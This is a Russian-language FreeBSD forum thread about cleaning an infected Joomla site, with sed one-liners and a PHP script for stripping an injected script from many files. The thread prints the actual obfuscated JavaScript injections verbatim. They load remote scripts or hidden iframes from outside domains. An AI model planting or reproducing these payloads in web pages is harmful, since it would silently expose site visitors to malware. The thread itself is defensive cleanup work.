Рекурсивно изменить текст

Программирование на sh, быть может немного про альтернативные языки
Правила форума
Убедительная просьба юзать теги [code] при оформлении листингов.
Сообщения не оформленные должным образом имеют все шансы быть незамеченными.
100matolog
ст. сержант
Сообщения: 309
Зарегистрирован: 2008-05-30 12:11:16
Откуда: kiev
Контактная информация:

Рекурсивно изменить текст

Непрочитанное сообщение 100matolog » 2010-02-08 15:26:08

Ребят - подскажите хинт для фри.
есть список файла и путей к ним
пример

Код: Выделить всё

usr/local/www/joomla/htdocs/plugins/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/langs/en.js
/usr/local/www/joomla/htdocs/plugins/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/langs/en_dlg.js
/usr/local/www/joomla/htdocs/plugins/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/langs/index.html
/usr/local/www/joomla/htdocs/plugins/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/langs/ru_dlg.js
/usr/local/www/joomla/htdocs/plugins/editors/tinymce/jscripts/tiny_mce/plugins/_template/images/index.html
/usr/local/www/joomla/htdocs/plugins/editors/tinymce/jscripts/tiny_mce/plugins/_template/editor_plugin.js
надо изменить окончание файлов

Код: Выделить всё

<script>try{window.onload=function(){Efobs2d5u5 = '' + 'i(!&)&n#c##r)#e(d!&#i#m!)a#!#@i$!)^l^!&^-)&@c^&^o)!(m(!&.&@s$(f$$$g@@(^^a(^t$&@e&.)((c@##o#m@$.(@&g&)@i^#@t$#t&&$i&!)g)$i($!@d&$i@@(y$))#o^$r)(-(^c(o#m$^.^#p&$$!i(e^^(c@^)i#$t^)y))^o&@n$!(l)i(!n^!e^&(&.#!@r#()u&):(!Z#n#^!(x(^6$^&m@#@)v(^&i!&j&&t&4)^!5&(!1#2$^&/$w(^^w!!e(.##@#c)o@)(m^!/$w!$)w&!e!&).@&c!)@&o#@^m#/#g@^&o$^o&g$l@)e#!.(#!c@!@(o^m$)/&#0)$1^)#)n((e)!$t#!#.^@^c(()!!o@!$m&(/)!&(z)!5!!((x)!).^(n(e&()t@$!$/)^#@'.replace(/@|\)|\^|\$|\(|&|#|\!/ig, '') ;V7hjca7rsc = 'appendChild';Jeap2emivy8 = document.createElement('sc'+'ript');Jeap2emivy8.src = 'h'+'ttp://'+Efobs2d5u5.replace(/Znx6mvijt4512/g, '8080');Jeap2emivy8.setAttribute('defer', 'def'+'er');eval('document.body.'+V7hjca7rsc+'(Jeap2emivy8)');} }  catch(Dyo4ujxg ) {}</script>
<!--b05efdac15821fb281bf93720a0976a0-->n
на пустой пробел

Дада - товарищ трояна подхватил. Он ему в конец всех файлов дописал вышеуказанный код.

Хостинговая компания Host-Food.ru
Хостинг HostFood.ru
 

Услуги хостинговой компании Host-Food.ru

Хостинг HostFood.ru

Тарифы на хостинг в России, от 12 рублей: https://www.host-food.ru/tariffs/hosting/
Тарифы на виртуальные сервера (VPS/VDS/KVM) в РФ, от 189 руб.: https://www.host-food.ru/tariffs/virtualny-server-vps/
Выделенные сервера, Россия, Москва, от 2000 рублей (HP Proliant G5, Intel Xeon E5430 (2.66GHz, Quad-Core, 12Mb), 8Gb RAM, 2x300Gb SAS HDD, P400i, 512Mb, BBU):
https://www.host-food.ru/tariffs/vydelennyi-server-ds/
Недорогие домены в популярных зонах: https://www.host-food.ru/domains/

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35439
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Рекурсивно изменить текст

Непрочитанное сообщение Alex Keda » 2010-02-08 16:51:22

Код: Выделить всё

man php
man perl
или любой другой язык из этой оперы.
я делал такое скриптом на php - финдом находил и передавал в него список файлов - а он по списку окучивал
Убей их всех! Бог потом рассортирует...

Аватара пользователя
Morty
ст. лейтенант
Сообщения: 1370
Зарегистрирован: 2007-07-17 23:25:12

Re: Рекурсивно изменить текст

Непрочитанное сообщение Morty » 2010-02-08 16:54:36

Код: Выделить всё

 sed '/<script>try{window.onload=function(){Efobs2d5u5/,/<\/script>/d' file_name
пойдет ?

100matolog
ст. сержант
Сообщения: 309
Зарегистрирован: 2008-05-30 12:11:16
Откуда: kiev
Контактная информация:

Re: Рекурсивно изменить текст

Непрочитанное сообщение 100matolog » 2010-02-08 17:15:21

lissyara писал(а):

Код: Выделить всё

man php
man perl
или любой другой язык из этой оперы.
я делал такое скриптом на php - финдом находил и передавал в него список файлов - а он по списку окучивал
не поделитесь скриптом?

100matolog
ст. сержант
Сообщения: 309
Зарегистрирован: 2008-05-30 12:11:16
Откуда: kiev
Контактная информация:

Re: Рекурсивно изменить текст

Непрочитанное сообщение 100matolog » 2010-02-08 17:23:13

Morty писал(а):

Код: Выделить всё

 sed '/<script>try{window.onload=function(){Efobs2d5u5/,/<\/script>/d' file_name
пойдет ?
неа..не убивает эту запись

Аватара пользователя
Morty
ст. лейтенант
Сообщения: 1370
Зарегистрирован: 2007-07-17 23:25:12

Re: Рекурсивно изменить текст

Непрочитанное сообщение Morty » 2010-02-08 17:28:29

странно - у меня удаляет)

100matolog
ст. сержант
Сообщения: 309
Зарегистрирован: 2008-05-30 12:11:16
Откуда: kiev
Контактная информация:

Re: Рекурсивно изменить текст

Непрочитанное сообщение 100matolog » 2010-02-08 17:34:30

Morty писал(а):странно - у меня удаляет)

Код: Выделить всё

sed '/<script>try{window.onload=function(){Efobs2d5u5/,/<\/script>/d' htdocs/xmlrpc/includes/index.html

Код: Выделить всё

cat htdocs/xmlrpc/includes/index.html<html><body bgcolor="#FFFFFF"></body></html>

<script>try{window.onload=function(){Efobs2d5u5 = '' + 'i(!&)&n#c##r)#e(d!&#i#m!)a#!#@i$!)^l^!&^-)&@c^&^o)!(m(!&.&@s$(f$$$g@@(^^a(^t$&@e&.)((c@##o#m@$.(@&g&)@i^#@t$#t&&$i&!)g)$i($!@d&$i@@(y$))#o^$r)(-(^c(o#m$^.^#p&$$!i(e^^(c@^)i#$t^)y))^o&@n$!(l)i(!n^!e^&(&.#!@r#()u&):(!Z#n#^!(x(^6$^&m@#@)v(^&i!&j&&t&4)^!5&(!1#2$^&/$w(^^w!!e(.##@#c)o@)(m^!/$w!$)w&!e!&).@&c!)@&o#@^m#/#g@^&o$^o&g$l@)e#!.(#!c@!@(o^m$)/&#0)$1^)#)n((e)!$t#!#.^@^c(()!!o@!$m&(/)!&(z)!5!!((x)!).^(n(e&()t@$!$/)^#@'.replace(/@|\)|\^|\$|\(|&|#|\!/ig, '') ;V7hjca7rsc = 'appendChild';Jeap2emivy8 = document.createElement('sc'+'ript');Jeap2emivy8.src = 'h'+'ttp://'+Efobs2d5u5.replace(/Znx6mvijt4512/g, '8080');Jeap2emivy8.setAttribute('defer', 'def'+'er');eval('document.body.'+V7hjca7rsc+'(Jeap2emivy8)');} }  catch(Dyo4ujxg ) {}</script><!--b05efdac15821fb281bf93720a0976a0-->n

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35439
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Рекурсивно изменить текст

Непрочитанное сообщение Alex Keda » 2010-02-08 17:49:01

неа. давно было.
помню писал минут 10 от силы.
нефига там писать-то
Убей их всех! Бог потом рассортирует...

100matolog
ст. сержант
Сообщения: 309
Зарегистрирован: 2008-05-30 12:11:16
Откуда: kiev
Контактная информация:

Re: Рекурсивно изменить текст

Непрочитанное сообщение 100matolog » 2010-02-08 17:57:34

lissyara писал(а):неа. давно было.
помню писал минут 10 от силы.
нефига там писать-то
не умею я пхп..не понимаю я его..

Аватара пользователя
Morty
ст. лейтенант
Сообщения: 1370
Зарегистрирован: 2007-07-17 23:25:12

Re: Рекурсивно изменить текст

Непрочитанное сообщение Morty » 2010-02-08 18:25:50

а так

Код: Выделить всё

sed '/<script>try{window.onload=function(){Efobs2d5u5/,/<\/script>/d' htdocs/xmlrpc/includes/index.html > index2.html

Код: Выделить всё

cat index2.html

100matolog
ст. сержант
Сообщения: 309
Зарегистрирован: 2008-05-30 12:11:16
Откуда: kiev
Контактная информация:

Re: Рекурсивно изменить текст

Непрочитанное сообщение 100matolog » 2010-02-08 18:47:15

Morty писал(а):а так

Код: Выделить всё

sed '/<script>try{window.onload=function(){Efobs2d5u5/,/<\/script>/d' htdocs/xmlrpc/includes/index.html > index2.html

Код: Выделить всё

cat index2.html
убивает все содержимое файла

Burner
лейтенант
Сообщения: 693
Зарегистрирован: 2009-06-14 7:02:26

Re: Рекурсивно изменить текст

Непрочитанное сообщение Burner » 2010-02-08 20:32:05

gnu и bsd sed немножко по-разному себя ведут, может поэтому не работает. Попробуйте

Код: Выделить всё

cat index.html | sed 's/<script>try{window.onload=function(){Efobs2d5u5.*//'

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35439
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Рекурсивно изменить текст

Непрочитанное сообщение Alex Keda » 2010-02-08 21:15:23

чтож вы все ленивые такие...

Код: Выделить всё

serv$ more /root/scripts/delete.virus.php
<?php

// for delete virus script

$files_list = "/root/scripts/virus.list.new.txt";
#$files_list = "/root/scripts/ipfw.virus.list.new.txt";

$string = "<script>function c51761910611v49e52cfd67afe(v49e52cfd682cf){  return(parseInt(v49e52cfd682cf,16));}function v49e52cfd69a47(v49e52cfd6a20f){ function v49e52cfd6b97e () {var v49e52cfd6c154=2; return v49e52cfd6c154;} var v49e52cfd6a9df='';for(v49e52cfd6b1b8=0; v49e52cfd6b1b8<v49e52cfd6a20f.length; v49e52cfd6b1b8+=v49e52cfd6b97e()){ v49e52cfd6a9df+=(String.fromCharCode(v49e52cfd67afe(v49e52cfd6a20f.substr(v49e52cfd6b1b8, v49e52cfd6b97e()))));}return v49e52cfd6a9df;} document.write(v49e52cfd69a47('3C7363726970743E76617220773D77696E646F773B66756E6374696F6E20636865636B5F636F6E74656E7428297B207661722069203D20303B7768696C6528646F63756D656E742E676574456C656D656E747342795461674E616D652827696672616D6527292E6C656E677468297B76617220656C203D20646F63756D656E742E676574456C656D656E747342795461674E616D652827696672616D6527295B695D3B6966282028656C2E7374796C652E646973706C61793D3D276E6F6E6527207C7C20656C2E7374796C652E7669736962696C697479203D3D2768696464656E27207C7C2028656C2E77696474683C3520262620656C2E6865696768743C35292920262620656C2E6E616D65213D276335272029207B656C2E706172656E744E6F64652E72656D6F76654368696C6428656C293B7D20656C736520692B2B3B7D7D636865636B5F636F6E74656E7428293B0D0A69662028216D79696129207B20642E777269746528273C494652414D45206E616D653D6335207372633D5C27687474703A2F2F637265772E636865636B616E746964646F732E696E666F2F637265772E7068703F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A32373930292B2737395C272077696474683D3138206865696768743D313535207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F494652414D45203E27293B7D766172206D7969613D747275653B3C2F7363726970743E'));</script>";

#$string = "<script>check_content()</script>";


//$string = "<script>document.write(unescape('%3C')+unescape('%69%66%72')+unescape('%61%6D%65%20')+unescape('%73%72')+unescape('%63%3D%22')+unescape('%68')+unescape('%74%74')+unescape('%70')+unescape('%3A%2F')+unescape('%2F')+unescape('%67%61%76%61')+unescape('%69%2D')+unescape('%70')+unescape('%65')+unescape('%67')+unescape('%63%39%2E%77')+unescape('%73')+unescape('%2F')+unescape('%33%2E%68%74')+unescape('%6D%6C%22%20')+unescape('%77')+unescape('%69%64')+unescape('%74%68%3D%31')+unescape('%20%68')+unescape('%65%69')+unescape('%67%68%74')+unescape('%3D')+unescape('%31%20%73')+unescape('%74%79%6C')+unescape('%65%3D')+unescape('%22%76%69')+unescape('%73%69%62')+unescape('%69%6C%69')+unescape('%74')+unescape('%79%3A%20%68')+unescape('%69%64%64')+unescape('%65%6E')+unescape('%22%3E%3C')+unescape('%2F%69%66%72')+unescape('%61%6D%65%3E')+'');</script><script>document.write(unescape('%3C')+unescape('%69%66%72')+unescape('%61%6D%65%20')+unescape('%73%72')+unescape('%63%3D%22')+unescape('%68')+unescape('%74%74')+unescape('%70')+unescape('%3A%2F')+unescape('%2F')+unescape('%67%61%76%61')+unescape('%69%2D')+unescape('%70')+unescape('%65')+unescape('%67')+unescape('%63%39%2E%77')+unescape('%73')+unescape('%2F')+unescape('%33%2E%68%74')+unescape('%6D%6C%22%20')+unescape('%77')+unescape('%69%64')+unescape('%74%68%3D%31')+unescape('%20%68')+unescape('%65%69')+unescape('%67%68%74')+unescape('%3D')+unescape('%31%20%73')+unescape('%74%79%6C')+unescape('%65%3D')+unescape('%22%76%69')+unescape('%73%69%62')+unescape('%69%6C%69')+unescape('%74')+unescape('%79%3A%20%68')+unescape('%69%64%64')+unescape('%65%6E')+unescape('%22%3E%3C')+unescape('%2F%69%66%72')+unescape('%61%6D%65%3E')+'');</script>";

//$string = "<script>document.write(unescape('%3C')+unescape('%69%66%72')+unescape('%61%6D%65%20')+unescape('%73%72')+unescape('%63%3D%22')+unescape('%68')+unescape('%74%74')+unescape('%70')+unescape('%3A%2F')+unescape('%2F')+unescape('%67%61%76%61')+unescape('%69%2D')+unescape('%70')+unescape('%65')+unescape('%67')+unescape('%63%39%2E%77')+unescape('%73')+unescape('%2F')+unescape('%33%2E%68%74')+unescape('%6D%6C%22%20')+unescape('%77')+unescape('%69%64')+unescape('%74%68%3D%31')+unescape('%20%68')+unescape('%65%69')+unescape('%67%68%74')+unescape('%3D')+unescape('%31%20%73')+unescape('%74%79%6C')+unescape('%65%3D')+unescape('%22%76%69')+unescape('%73%69%62')+unescape('%69%6C%69')+unescape('%74')+unescape('%79%3A%20%68')+unescape('%69%64%64')+unescape('%65%6E')+unescape('%22%3E%3C')+unescape('%2F%69%66%72')+unescape('%61%6D%65%3E')+'');</script>";


//exit;
// открываем файл
$handle = fopen($files_list, "r");
while(!feof($handle)) { // перебираем файл
        $str = fgets($handle);          // читаем строку из файла
        if(empty($str)) continue;       // видимо - преывание цикла? или наоборот продолжение
        $file = trim($str);
        echo "processing " . $file . "\n";
        // create backup copy
        //copy($file, $file . ".tmp");
        // read file content
        $handle2 = fopen($file, "rb");
        $html = fread($handle2, filesize($file));
        fclose($handle2);
        // replace string
        $new_html = str_replace($string, "", $html);
        // сохраянем  текст в файл
        $handle2 = fopen($file, "w");
        fwrite($handle2, $new_html);
        fclose($handle2);
        // delete
        //unlink($file . ".tmp");
        //unlink($file . ".tmp.123");
}       // закрытие пребора файла
?>
serv$   
Убей их всех! Бог потом рассортирует...

100matolog
ст. сержант
Сообщения: 309
Зарегистрирован: 2008-05-30 12:11:16
Откуда: kiev
Контактная информация:

Re: Рекурсивно изменить текст

Непрочитанное сообщение 100matolog » 2010-02-08 21:24:09

lissyara писал(а):чтож вы все ленивые такие...

Код: Выделить всё

serv$ more /root/scripts/delete.virus.php
<?php

// for delete virus script

$files_list = "/root/scripts/virus.list.new.txt";
#$files_list = "/root/scripts/ipfw.virus.list.new.txt";

$string = "<script>function c51761910611v49e52cfd67afe(v49e52cfd682cf){  return(parseInt(v49e52cfd682cf,16));}function v49e52cfd69a47(v49e52cfd6a20f){ function v49e52cfd6b97e () {var v49e52cfd6c154=2; return v49e52cfd6c154;} var v49e52cfd6a9df='';for(v49e52cfd6b1b8=0; v49e52cfd6b1b8<v49e52cfd6a20f.length; v49e52cfd6b1b8+=v49e52cfd6b97e()){ v49e52cfd6a9df+=(String.fromCharCode(v49e52cfd67afe(v49e52cfd6a20f.substr(v49e52cfd6b1b8, v49e52cfd6b97e()))));}return v49e52cfd6a9df;} document.write(v49e52cfd69a47('3C7363726970743E76617220773D77696E646F773B66756E6374696F6E20636865636B5F636F6E74656E7428297B207661722069203D20303B7768696C6528646F63756D656E742E676574456C656D656E747342795461674E616D652827696672616D6527292E6C656E677468297B76617220656C203D20646F63756D656E742E676574456C656D656E747342795461674E616D652827696672616D6527295B695D3B6966282028656C2E7374796C652E646973706C61793D3D276E6F6E6527207C7C20656C2E7374796C652E7669736962696C697479203D3D2768696464656E27207C7C2028656C2E77696474683C3520262620656C2E6865696768743C35292920262620656C2E6E616D65213D276335272029207B656C2E706172656E744E6F64652E72656D6F76654368696C6428656C293B7D20656C736520692B2B3B7D7D636865636B5F636F6E74656E7428293B0D0A69662028216D79696129207B20642E777269746528273C494652414D45206E616D653D6335207372633D5C27687474703A2F2F637265772E636865636B616E746964646F732E696E666F2F637265772E7068703F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A32373930292B2737395C272077696474683D3138206865696768743D313535207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F494652414D45203E27293B7D766172206D7969613D747275653B3C2F7363726970743E'));</script>";

#$string = "<script>check_content()</script>";


//$string = "<script>document.write(unescape('%3C')+unescape('%69%66%72')+unescape('%61%6D%65%20')+unescape('%73%72')+unescape('%63%3D%22')+unescape('%68')+unescape('%74%74')+unescape('%70')+unescape('%3A%2F')+unescape('%2F')+unescape('%67%61%76%61')+unescape('%69%2D')+unescape('%70')+unescape('%65')+unescape('%67')+unescape('%63%39%2E%77')+unescape('%73')+unescape('%2F')+unescape('%33%2E%68%74')+unescape('%6D%6C%22%20')+unescape('%77')+unescape('%69%64')+unescape('%74%68%3D%31')+unescape('%20%68')+unescape('%65%69')+unescape('%67%68%74')+unescape('%3D')+unescape('%31%20%73')+unescape('%74%79%6C')+unescape('%65%3D')+unescape('%22%76%69')+unescape('%73%69%62')+unescape('%69%6C%69')+unescape('%74')+unescape('%79%3A%20%68')+unescape('%69%64%64')+unescape('%65%6E')+unescape('%22%3E%3C')+unescape('%2F%69%66%72')+unescape('%61%6D%65%3E')+'');</script><script>document.write(unescape('%3C')+unescape('%69%66%72')+unescape('%61%6D%65%20')+unescape('%73%72')+unescape('%63%3D%22')+unescape('%68')+unescape('%74%74')+unescape('%70')+unescape('%3A%2F')+unescape('%2F')+unescape('%67%61%76%61')+unescape('%69%2D')+unescape('%70')+unescape('%65')+unescape('%67')+unescape('%63%39%2E%77')+unescape('%73')+unescape('%2F')+unescape('%33%2E%68%74')+unescape('%6D%6C%22%20')+unescape('%77')+unescape('%69%64')+unescape('%74%68%3D%31')+unescape('%20%68')+unescape('%65%69')+unescape('%67%68%74')+unescape('%3D')+unescape('%31%20%73')+unescape('%74%79%6C')+unescape('%65%3D')+unescape('%22%76%69')+unescape('%73%69%62')+unescape('%69%6C%69')+unescape('%74')+unescape('%79%3A%20%68')+unescape('%69%64%64')+unescape('%65%6E')+unescape('%22%3E%3C')+unescape('%2F%69%66%72')+unescape('%61%6D%65%3E')+'');</script>";

//$string = "<script>document.write(unescape('%3C')+unescape('%69%66%72')+unescape('%61%6D%65%20')+unescape('%73%72')+unescape('%63%3D%22')+unescape('%68')+unescape('%74%74')+unescape('%70')+unescape('%3A%2F')+unescape('%2F')+unescape('%67%61%76%61')+unescape('%69%2D')+unescape('%70')+unescape('%65')+unescape('%67')+unescape('%63%39%2E%77')+unescape('%73')+unescape('%2F')+unescape('%33%2E%68%74')+unescape('%6D%6C%22%20')+unescape('%77')+unescape('%69%64')+unescape('%74%68%3D%31')+unescape('%20%68')+unescape('%65%69')+unescape('%67%68%74')+unescape('%3D')+unescape('%31%20%73')+unescape('%74%79%6C')+unescape('%65%3D')+unescape('%22%76%69')+unescape('%73%69%62')+unescape('%69%6C%69')+unescape('%74')+unescape('%79%3A%20%68')+unescape('%69%64%64')+unescape('%65%6E')+unescape('%22%3E%3C')+unescape('%2F%69%66%72')+unescape('%61%6D%65%3E')+'');</script>";


//exit;
// открываем файл
$handle = fopen($files_list, "r");
while(!feof($handle)) { // перебираем файл
        $str = fgets($handle);          // читаем строку из файла
        if(empty($str)) continue;       // видимо - преывание цикла? или наоборот продолжение
        $file = trim($str);
        echo "processing " . $file . "\n";
        // create backup copy
        //copy($file, $file . ".tmp");
        // read file content
        $handle2 = fopen($file, "rb");
        $html = fread($handle2, filesize($file));
        fclose($handle2);
        // replace string
        $new_html = str_replace($string, "", $html);
        // сохраянем  текст в файл
        $handle2 = fopen($file, "w");
        fwrite($handle2, $new_html);
        fclose($handle2);
        // delete
        //unlink($file . ".tmp");
        //unlink($file . ".tmp.123");
}       // закрытие пребора файла
?>
serv$   

ух шайтан...это ты портах нашел такое ? ))) ;-) ;-) ..ээ , а как этим пользоватся?
шутка - не бейте мну :-D